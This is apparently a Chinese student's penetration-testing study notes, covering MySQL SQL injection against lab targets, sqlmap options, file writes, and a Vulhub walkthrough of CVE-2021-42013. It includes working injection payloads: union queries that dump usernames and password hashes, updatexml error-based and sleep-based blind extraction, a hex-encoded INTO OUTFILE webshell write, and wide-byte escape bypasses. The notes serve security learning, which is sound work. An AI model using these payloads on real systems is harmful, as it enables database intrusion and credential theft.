- $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1
- SELECT * FROM users WHERE id=$id
- SELECT * FROM users WHERE id=1
MySQL5.0及以上和5.0以下有什么区别
- mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做 information_schema
- 而5.0以下的版本不存
5.9.2 MySQL注入
版本大于5.0时有infromation数据库
infromation_schema.schemata 记录所有库名
infromation_schema.tables 记录所有表名信息的表
infromation_schema.columns 记录所有列名信息的表
table_name 表名
column_name 列名
table_schema 数据库名
step1.检查是否有sql漏洞 和注入点
- 整数型用这个:?id=1 正确 ?id=2-1正确(存在sql注入)
- 字符型用这个:?id = 1' 错误 ?id=1''正确(存在sql注入)
step2.判断列数(--+)
-+ 表注释
- order by 5 --+表错误
- order by 4 --+表正确
step3.收集信息(union语句)
一般收集 version() database() user() @@version_compile_os
- 注:这里使用了union则,需要把前面的判false
- %20是浏览器的编码,表示空格
- 这与这里为什么常显示2列,3列,是因为底层语句只用了第2列和第3列
- 数据库版本 version() 5.7.22-0ubuntu0.16.04.1
- 数据库名字 database() mozhe_Discuz_StormGroup
- 数据库用户 user() root@localhost
- 操作系统 @@version_compile_os Linux
step4. 查看数据库表(group_concat)
information_schema.tables这里的.表示连接符的意思,表示在information_schema库下的tables表中
- union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- group_concat(table_name):表示所有的表名
- 就找到了在mozhe_Discuz_StormGroup数据库中,有2个表StormGroup_member和notice
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=''test_db
step5. 查看表列名
- union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member'
- group_concat(column_name):表示所有的列名
- 就找到了在mozhe_Discuz_StormGroup数据库中,表StormGroup_member里有4个字段
id,name,password,status
step6. 查看数据
- union select 1,name,password,4 from StormGroup_member limit 1,1或limit 0,1
- 就找到了在StormGroup_member表中,第二条数据关于name和password,账号是mozhe,密码:b556dd075542f33e3f5e1b2cefbab81d,再需要md5解密,之后就是614100
5.9.3 sqlmap工具(sql漏洞注入)
#SQLMAP基本操作笔记
#SQLMAP基本操作笔记:
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id")
-D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--time-sec=(2,5) #延迟响应,默认为5
--data #通过POST发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql"#列出mysql数据库中的user表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
--roles #枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持union 注入
--union-cols #union 查询表记录
--union-test #union 语句测试
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式提交数据(--data "page=1&id=2")
- --level (1-5) 数字越大越详细
step1.查看当前库
--current-db
step2.查看指定库下的所有表
--tables -D "库名"
step3.查看指定库下的指定表当中的所有列
--columns -T "表名" -D "库名"
step4.查看指定库下的指定表中指定列的所有字段
--dump -T "表名" -D "库名" -C "列名"
step5 -r参数
- -r参数跟-u参数也是一样的,但-r参数可以通过抓包扫描,推荐使用这种方法
step6 temper脚本绕过
sqlmap中tamper的用法_sqlmap tamper-CSDN博客
- --tamper 脚本名,一般用来绕过单引号,空格
step7 --technique参数
sqlmap.py -u "url"
sqlmap.py -h
beustq
B:布尔注入
E:报错注入
U:union注入
S:堆叠
T:时间注入
Q:查询
- --technique T,这个是时间注入
- --technique B,这个是布尔注入
5.9.4 SQL注入-跨库查询
作用:如果是root权限,一个网站难打,可以找同名下的,其他网站的漏洞,然后跨库查询
MYSQL 注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行 getshell 操作。
比如:如果是root权限这种高权限,能看到所有用户,则一个数据库有漏洞,其他数据库也可能有漏洞
step1: 确定用户权限
union select 1,user(),3
step2: 查看当前所有库
union select 1,group_concat(schema_name),3 from information_schema.schemata
step3: 跨库查询
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='其他数据库名'
- 其他操作参考:上面的mysql注入
5.9.5 SQL注入-文件读写
step1: 确定前提条件
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
step2: 读函数(load_file)
- 当然不管是读还是写,都是需要知道路径的,
- 一般的获取方式:报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
step3: 写函数(into outfile 或 into dumpfile)
step4 写入webshell
- union select 1,'<?php phpinfo()>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/1122.php' --+
- 有的时候如果\不行,可以换\\,或者/
step5: 了解魔术引号
单引号(’)、双引号(”)、反斜线(\)
- union select 1,/'<?php phpinfo()>/',3 into outfile /'D:/phpStudy/PHPTutorial/WWW/1122.php/' --+
绕过方式
使用:转成base16编码进行绕过
- 怎可以用0x2f273c3f70687020706870696e666f28293e2f27代表/'<?php phpinfo()>/'
5.9.6 数据库类型
1. 数字型
select username,email from member where id=$id
- 判断数字型方式: id=4-1,and 1=1,and 1=2
2. 字符型
select id,email from member where username='$name'
- 判断字符型方式:id='1' '错误 id='1'--+' 正确的
3. 判断数字 && 字符型
- 字符型id = id='1'--+' 正确的
- 数字新id = id='1'--+' 错误的(只要有闭合符)
4. 搜索型
select username,id,email from member where username like '%$name%'
- 常见于:模糊搜索,搜索框、模糊查询的地方、
5.9.7 提交方式
GET,POST,COOKIE,User-Agent,base64,xff
这些提交方式注入,没有什么不同,只有注入点不同
比如:cookie
比如: user-agent(又叫UA)
比如:base64
- 注意:在不同的情况下,闭合符也是不一样的,比如:这个就是(' ')
有时间可以了解一下xxf注入: X-Forwarder-for
5.9.7 回显/盲注
查询方式注入-有回显
- select(查询),order by(一般结合表名或列名进行数据排序操作)
查询方式注入-无回显
- insert(插入)delete(删除)
- 不会出现结果,可以使用报错回显注入
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注,说简单点就是猜
step1: 报错回显注入
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中
12种报错注入+万能语句 - 简书
常见的报错函数有:floor函数,updatexml函数,extractvalue函数
updatexml报错注入
-
爆数据库版本信息:
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
-
链接用户:
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
-
链接数据库:
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
-
爆库:
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
-
爆表:
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
-
爆字段:
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
-
爆字段内容:
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
step2: 布尔盲注
SQL注入之布尔盲注_布尔盲注所用到的函数-CSDN博客
常见函数:length()函数 substr()函数 ascii()函数
step1: 判断库的长度
- and length((select database())) > 数字,= 数字,<数字
step2: 判断库的字符
- and ascii(substr((select database()),1,1)) > 数字,= 数字,<数字
step: en..
- 不建议手动的去猜,推荐使用sqlmap工具
step3: 延时盲注&时间盲注
- " and sleep(5)--+判断注入点
- " and length(database())>10 --+判断数据库长度
- " and If(ascii(substr(database(),1,1))=116,1,sleep(5))--+ 错误延迟5 正确不延迟
- 时间盲注和布尔盲注类似,就多了个if,sleep,不建议手动的去猜,推荐使用sqlmap工具
5.9.8 了解宽字节注入
产生条件:1.数据库编码设为GB系列(比如gdb),2. 使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义
-
输入是:id=1`
-
实际是:id=1\`
绕过方法: id=1%df` 等价于: id=1%df%5c'
-
最终解析成:id = 1運` ,这样就把\替换掉了
6.组件漏洞
6.1 常见组件
6.1.1 操作系统
- Windows
- Linux
- Mac OS
6.1.2 web容器(服务器中间件)
-
Apache HTTPD 和 Nginx 和 IIS
-
Tomcat 和 weblogic和 Jboos
6.1.3 数据库
关系型数据库: 1. MySQL 2.Orcale 3.SQL Server 4.Access
非关系型数据库: 1. Redis 2.MongoDB
6.1.4 开发框架
JAVA: 1.struts2 2.spring 3.springboot
PHP: 1.Thinkphp 2.Laravel 3.YII 4.CodeIgniter 5.CakePHP 6.Zend
Python: 1.Flask 2.Django 3.Bottle 4.Turbobars 5.Tornado 6.Web2py
JS: 1.Vue.js 2.Node.js 3.Bootstrap 4.JQuery 5.Angular
6.1.5 OA系统
办公自动化系统
- 通达OA 泛微e-office 致远OA
6.2 漏洞演示
靶场链接:Vulhub - Docker-Compose file for vulnerability environment
6.2.1 CVE-2021-42013
漏洞介绍:
Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。CVE-2021-41773漏洞在v2.4.50版本中进行了修复。但修复版本中只处理了`/xx/.%2e/`这样的路径,而没有正确处理`/.%%32%65/`这种字符串,导致`/.%%32%65/`被带入后续的处理,仍然可造成目录穿越。攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。
同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。
开启靶场:
- 靶场路径:/vulhub/httpd/CVE-2021-42013
- 启动命令:docker-compose up -d
- 查看启动容器:docker ps
step1: 信息收集
在实际的场景中,应该先进行信息收集,再扫描漏洞,再利用漏洞
这里的端口可以不用探测了,是8080
指纹识别
- 虽然nmap是端口探测工具,但是也是可以进行指纹识别的
- 命令:nmap ip -p端口 -sV
step2: 漏洞识别/复现/利用
再知道目标的组件信息之后,
方式一:百度查这个组件历史上有什么漏洞,怎么复现这个漏洞,如何利用这个漏洞
- 比如:CVE-2021-42013 路径穿越漏洞复现并反弹shell-CSDN博客
- 根据网上的相关文章就可以进行漏洞复现了
这里还可能有个命令执行漏洞
配置apache服务器允许cgi执行,首先要保证对应的模块已经在.conf文件中通过LoadModule指令被加载
- #Linux下形如:
- LoadModule cgid_module modules/mod_cgid.so
- 或者: LoadModule cgi_module modules/mod_cgi.so
- # windows下形如:
- LoadModule cgi_module modules/mod_cgi.so
再知道目标的组件信息之后,
方式二:使用漏洞扫描工具进行扫描
- 由于YaKit有可能存在误报的情况,还是需要我们一个一个的查看,且可以单点POC再次扫描
6.2.2 Xray工具(漏洞扫描)
常用参数
xray_windows_amd64.exe webscan --basic-crawler 目标 --html-output 文件名.html
- 如果最后扫描成功将会在后台生成一个.html的文件
6.2.3 Yakit工具(漏洞扫描)
6.2.4 afrog工具(漏洞扫描)
常用参数:afrog.ext -t 目标
- 扫描结果最后会输出到reports文件夹中,生成一个.html文件
6.2.5 fofa_view(空间测绘引擎的ui版)
参数:java -jar D:\tools\FofaViewer_1.1.15_JDK8\fofaviewer.jar
只有在java1.8.0_291环境以上才能使用:
=========================================================================
注以上是作者2周学习笔记,如有错误多多包涵